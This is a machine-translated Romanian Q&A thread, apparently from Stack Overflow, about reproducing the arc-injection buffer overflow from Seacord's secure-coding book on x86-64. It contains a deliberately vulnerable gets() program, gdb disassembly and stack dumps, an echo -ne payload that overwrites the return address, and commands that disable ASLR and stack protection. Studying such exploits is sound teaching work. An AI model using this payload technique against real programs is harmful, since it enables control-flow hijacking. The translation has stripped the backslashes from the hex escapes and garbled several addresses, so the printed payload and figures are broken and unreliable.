Construirea unui șir contaminat pentru injectarea arcului (Programare, C, Securitate, Buffer Overflow, Fluxul De Control)

user2841250 a intrebat.
a intrebat.

Sunt nou în domeniul securității și în prezent mă refer la Robert Seacord’s Secure Coding in C și C++. În capitolul 2 al acestuia, autorul vorbește despre arc injection, în care trece fluxul de control din următorul program de la isPasswordOK() către rutina else() {puts ("Access granted!");}; ramură în main() prin suprascrierea Password buffer în gets() apel cu un șir de caractere contaminat: 1234567890123456j>*!

#include <stdio.h>
#include <string.h>
#include <stdbool.h>

bool isPasswordOK(void) {
    char Password[12];

    gets(Password);
    return 0 == strcmp(Password, "goodpass");
}

int main(void) {
    bool pwStatus;

    puts("Enter Password: ");
    pwStatus = isPasswordOK();
    if (pwStatus == false) {
        puts("Access denied");
        exit(-1);
    }
    else {
        puts("Access granted!");
    }
}

Aici, j = 0x6A, , > = 0x10 (Acesta este simbolul Data Link Escape), * = 0x2A și ! = 0x21

Această secvență de 4 caractere corespunde apoi unei adrese de 4 octeți, care presupun că este 0x6A102A21. Această adresă, cred, indică else în linia main() și redirecționăm controlul prin suprascrierea adresei de întoarcere de pe stivă cu adresa acestei linii.

Încerc să reproduc același lucru pe mașina mea (arhitectură x86-64). Am dezactivat protecția stivei și randomizarea, așa că nu cred că ar trebui să fie o problemă. De fapt, programul se blochează așa cum era de așteptat atunci când încerc să corup adresa de întoarcere. Problema mea este următoarea: cum pot furniza ca intrare pentru gets șirul corupt? Dacă dezasamblez main folosind gdb, obțin următoarea ieșire:

(gdb) disassemble main
Dump of assembler code for function main:
   0x0000000000400642 <+0>: push   %rbp
   0x0000000000400643 <+1>: mov    %rsp,%rbp
   0x0000000000400646 <+4>: sub    $0x10,%rsp
   0x000000000040064a <+8>: mov    $0x40071d,%edi
   0x000000000040064f <+13>:    callq  0x4004c0 <[email protected]>
   0x0000000000400654 <+18>:    callq  0x400616 <isPasswordOK>
   0x0000000000400659 <+23>:    mov    %al,-0x1(%rbp)
   0x000000000040065c <+26>:    movzbl -0x1(%rbp),%eax
   0x0000000000400660 <+30>:    xor    $0x1,%eax
   0x0000000000400663 <+33>:    test   %al,%al
   0x0000000000400665 <+35>:    je     0x40067b <main+57>
   0x0000000000400667 <+37>:    mov    $0x40072e,%edi
   0x000000000040066c <+42>:    callq  0x4004c0 <[email protected]>
   0x0000000000400671 <+47>:    mov    $0xffffffff,%edi
   0x0000000000400676 <+52>:    callq  0x400510 <[email protected]>
   0x000000000040067b <+57>:    mov    $0x40073c,%edi
   0x0000000000400680 <+62>:    callq  0x4004c0 <[email protected]>
   0x0000000000400685 <+67>:    leaveq 
   0x0000000000400686 <+68>:    retq   
End of assembler dump.

Din moment ce vreau să sar la al doilea puts() apel, cred că trebuie să furnizez 0x0000000000400680 ca parte a șirului meu contaminat, deoarece aceasta este adresa celui de-al doilea apel de tip puts() în conformitate cu dezasamblarea gdb.

Cum pot să fac acest lucru? În carte, adresele aveau lungimea de 4 octeți, dar aici trebuie să am de-a face cu 16 octeți. De asemenea, nu există o reprezentare ASCII pentru 0x80, , deci ce ar trebui să furnizez ca intrare pentru gets? Practic, ceea ce cer sunt caracterele pe care ar trebui să le furnizez la ?:

1234567890123456????

Sunt complet confuz, așa că orice ajutor este apreciat, mulțumesc!

Comentarii

  • Pe un x86-64, indicatorii au o dimensiune de 64 de biți (8 octeți). –  > Por jschultz410.
  • Pentru a pune valori hexagonale aleatorii într-un șir de caractere, puteți face „x80x80”, care va pune valorile 0x80 0x80 în doi octeți secvențiali. –  > Por jschultz410.
  • Aceasta este o altă parte în care sunt confuz: dacă 0x4004c0 este într-adevăr adresa, atunci aceasta are o lungime mai mică de 4 octeți, cum să o convertim în 8 octeți și apoi în ASCII? Adresa de retur are ea însăși 8 octeți, nu? Trebuie să modific doar acest lucru, dacă înțeleg corect conceptul. –  > Por utilizator2841250.
  • Codul de asamblare permite omiterea zerourilor de început ale unei valori. Adresa de returnare ar trebui să aibă o lungime de 8 octeți. În exemplu, a fost de 4 (pe o mașină de 32 de biți). Așadar, trebuie să terminați șirul cu „x00x00x00x00x00x00x40x06x80”. Sau inversul endian – nu sunt sigur pe un x86. Puteți face asta cu ușurință în cadrul programului dvs. S-ar putea să nu fie posibil să introduceți o astfel de intrare de la terminal, deoarece gets() poate obiecta la un terminator nul în intrarea dvs. și să oprească citirea mai departe. –  > Por jschultz410.
1 răspunsuri
Klaus82

Am avut aceeași problemă și eu și voi încerca să te ajut. Problema este că șirul depinde foarte mult și de compilator, așa că îți voi explica cum să obții șirul conform exemplului meu.

Programul meu arată așa (similar cu al tău)

isPasswordOk.cpp:

#include <iostream>
#include <cstdio>
#include <cstring>

bool isPasswordOk()
{
    int result = 0xBBBBBBBB;
    char password[10];
    std::gets(password);
    result = strcmp(password, "good") == 0;
    return result;
}

int main()
{
    bool pwStatus;
    std::puts("Enter password:");
    pwStatus = isPasswordOk();
    if (pwStatus == false)
    {
        puts("Access denied!");
        return -1;
    }
    puts("Access granted!");
    return 0;
}

Atunci cum se compilează acest lucru:

g++ isPasswordOk.cpp -std=c++11 -fno-stack-protector -o isPasswordOk

Important este protectorul -fno-stack-protector, astfel încât să nu fie create canarii. Desigur, puteți folosi un alt standard c++. Dar exemplul meu nu se compilează cu std=c++14, deoarece funcția gets a fost eliminată.

Stiva la apelarea isPasswordOk()

+-------------------------+  <--- stack pointer (rsp/esp)
|                         |
|    password-buffer      |
|                         |
|  --------------------   |
|       result            |   0xBBBBBBBB
|  ---------------------  |
|      (canary)           |  # when not disabled
+-------------------------+  <--- RBP
|  Caller RBP frame ptr   |
| ---------------------   |
|   Return Addr Caller    |
+-------------------------+

Acum folosiți gdb pentru a obține șirul de caractere pentru a face arc-injecția. gdb isPasswordOk

(gdb) run 
Enter password:
AAAA
Access denied!
(gdb) disassemble isPasswordOk
 Dump of assembler code for function _Z12isPasswordOkv:
   0x0000555555554850 <+0>: push   %rbp
   0x0000555555554851 <+1>: mov    %rsp,%rbp
   0x0000555555554854 <+4>: sub    $0x10,%rsp
   0x0000555555554858 <+8>: movl   $0xbbbbbbbb,-0x4(%rbp)
   0x000055555555485f <+15>:    lea    -0x10(%rbp),%rax
   0x0000555555554863 <+19>:    mov    %rax,%rdi
   0x0000555555554866 <+22>:    callq  0x555555554710
   0x000055555555486b <+27>:    lea    -0x10(%rbp),%rax
   0x000055555555486f <+31>:    lea    0x14f(%rip),%rsi        # 0x5555555549c5
   0x0000555555554876 <+38>:    mov    %rax,%rdi
   0x0000555555554879 <+41>:    callq  0x555555554718
   0x000055555555487e <+46>:    test   %eax,%eax
   0x0000555555554880 <+48>:    sete   %al
   0x0000555555554883 <+51>:    movzbl %al,%eax
   0x0000555555554886 <+54>:    mov    %eax,-0x4(%rbp)
   0x0000555555554889 <+57>:    cmpl   $0x0,-0x4(%rbp)
   0x000055555555488d <+61>:    setne  %al
   0x0000555555554890 <+64>:    leaveq
   0x0000555555554891 <+65>:    retq
End of assembler dump.

Acum setați câteva puncte de întrerupere

(gdb) break * 0x0000555555554858  # set breakpoint before gets
(gdb) break * 0x0000555555554879  # set breakpoint after gets

Acum rulați-l din nou (cu opțiunea x puteți imprima memoria):

(gdb) run
Enter password:
AAAA
(gdb) x/12xw $rsp   # rsp for 64 bit, esp for 32 bit
0x7fffffffde20: 0xffffde50  0x00007fff  0x55554720  0x00005555
0x7fffffffde30: 0xffffde50  0x00007fff  0x555548ab  0x00005555
0x7fffffffde40: 0xffffdf30  0x00007fff  0x00000000  0x00000000
(gdb) c
(gdb) x/12xw $rsp
0x7fffffffde20: 0x41414141  0x00007fff  0x55554720  0xBBBBBBBB  # 0x41='A'
0x7fffffffde30: 0xffffde50  0x00007fff  0x555548ab  0x00005555
0x7fffffffde40: 0xffffdf00  0x00007fff  0x00000000  0x00000000
Access denied!

Deci parola a fost scrisă pe adresa 0x7fffffffde20: 0x4141414141 = „AAAA „Variabila locală rezultat este pusă după bufferul 0xBBBBBBBBBBBB.Puteți vedea de asemenea că bufferul este intern de 12 octeți, de asemenea l-am definit să fie de 10 octeți.Deci dacă vreau să suprascriu Return Addr Caller 0x555548ab 0x0000555555 trebuie să scriu 0x20 (32) octeți.

Mai întâi trebuie să știu adresa. Prin urmare, folosesc din nou gdb:

(gdb) disass main
 Dump of assembler code for function main:
   0x0000555555554892 <+0>: push   %rbp
   0x0000555555554893 <+1>: mov    %rsp,%rbp
   0x0000555555554896 <+4>: sub    $0x10,%rsp
   0x000055555555489a <+8>: lea    0x128(%rip),%rdi        # 0x5555555549c9
   0x00005555555548a1 <+15>:    callq  0x5555555546f0
   0x00005555555548a6 <+20>:    callq  0x555555554850 <_Z12isPasswordOkv>
   0x00005555555548ab <+25>:    mov    %al,-0x1(%rbp)
   0x00005555555548ae <+28>:    movzbl -0x1(%rbp),%eax
   0x00005555555548b2 <+32>:    xor    $0x1,%eax
   0x00005555555548b5 <+35>:    test   %al,%al
   0x00005555555548b7 <+37>:    je     0x5555555548cc <main+58>
   0x00005555555548b9 <+39>:    lea    0x119(%rip),%rdi        # 0x5555555549d9
   0x00005555555548c0 <+46>:    callq  0x5555555546f0
   0x00005555555548c5 <+51>:    mov    $0xffffffff,%eax
   0x00005555555548ca <+56>:    jmp    0x5555555548dd <main+75>
   0x00005555555548cc <+58>:    lea    0x115(%rip),%rdi        # 0x5555555549e8
   0x00005555555548d3 <+65>:    callq  0x5555555546f0
   0x00005555555548d8 <+70>:    mov    $0x0,%eax
   0x00005555555548dd <+75>:    leaveq
   0x00005555555548de <+76>:    retq
End of assembler dump.

Vreau să sar la adresa 0x00005555555555555548cc. Deci trebuie să creați șirul astfel:

echo -ne 'AAAAAAAAAAAAAAAAAAAAAAAAxccx48x55x55x55x55x00x00' > arcInjection.txt

Apoi îl puteți apela rulând:

(gdb) run < arcInjection.txt
Access granted!

Dacă doriți să îl executați în afara gdb, trebuie să dezactivați randomizarea aspectului spațiului de adrese (ASR).

echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

Apoi îl puteți rula și în consolă:

./isPasswordOk < arcInjection.txt 
Enter password:
Access granted!

ASR se activează din nou după repornire sau dacă apelați după aceea:

echo 1 | sudo tee /proc/sys/kernel/randomize_va_space

Comentarii

  • Foarte util. După o execuție reușită la consolă, am avut un ultim mesaj: Bus error (core dumped). Am constatat că pot evita acest lucru doar păstrând cele 2 cuvinte care urmează după rezultatul variabilei locale. Așadar, trebuie să înlocuiesc ultimele 8 „A” ale dvs. cu 0xffffde50 și 0x00007fff. Mă întreb dacă acest lucru poate fi evitat? –  > Por user2023370.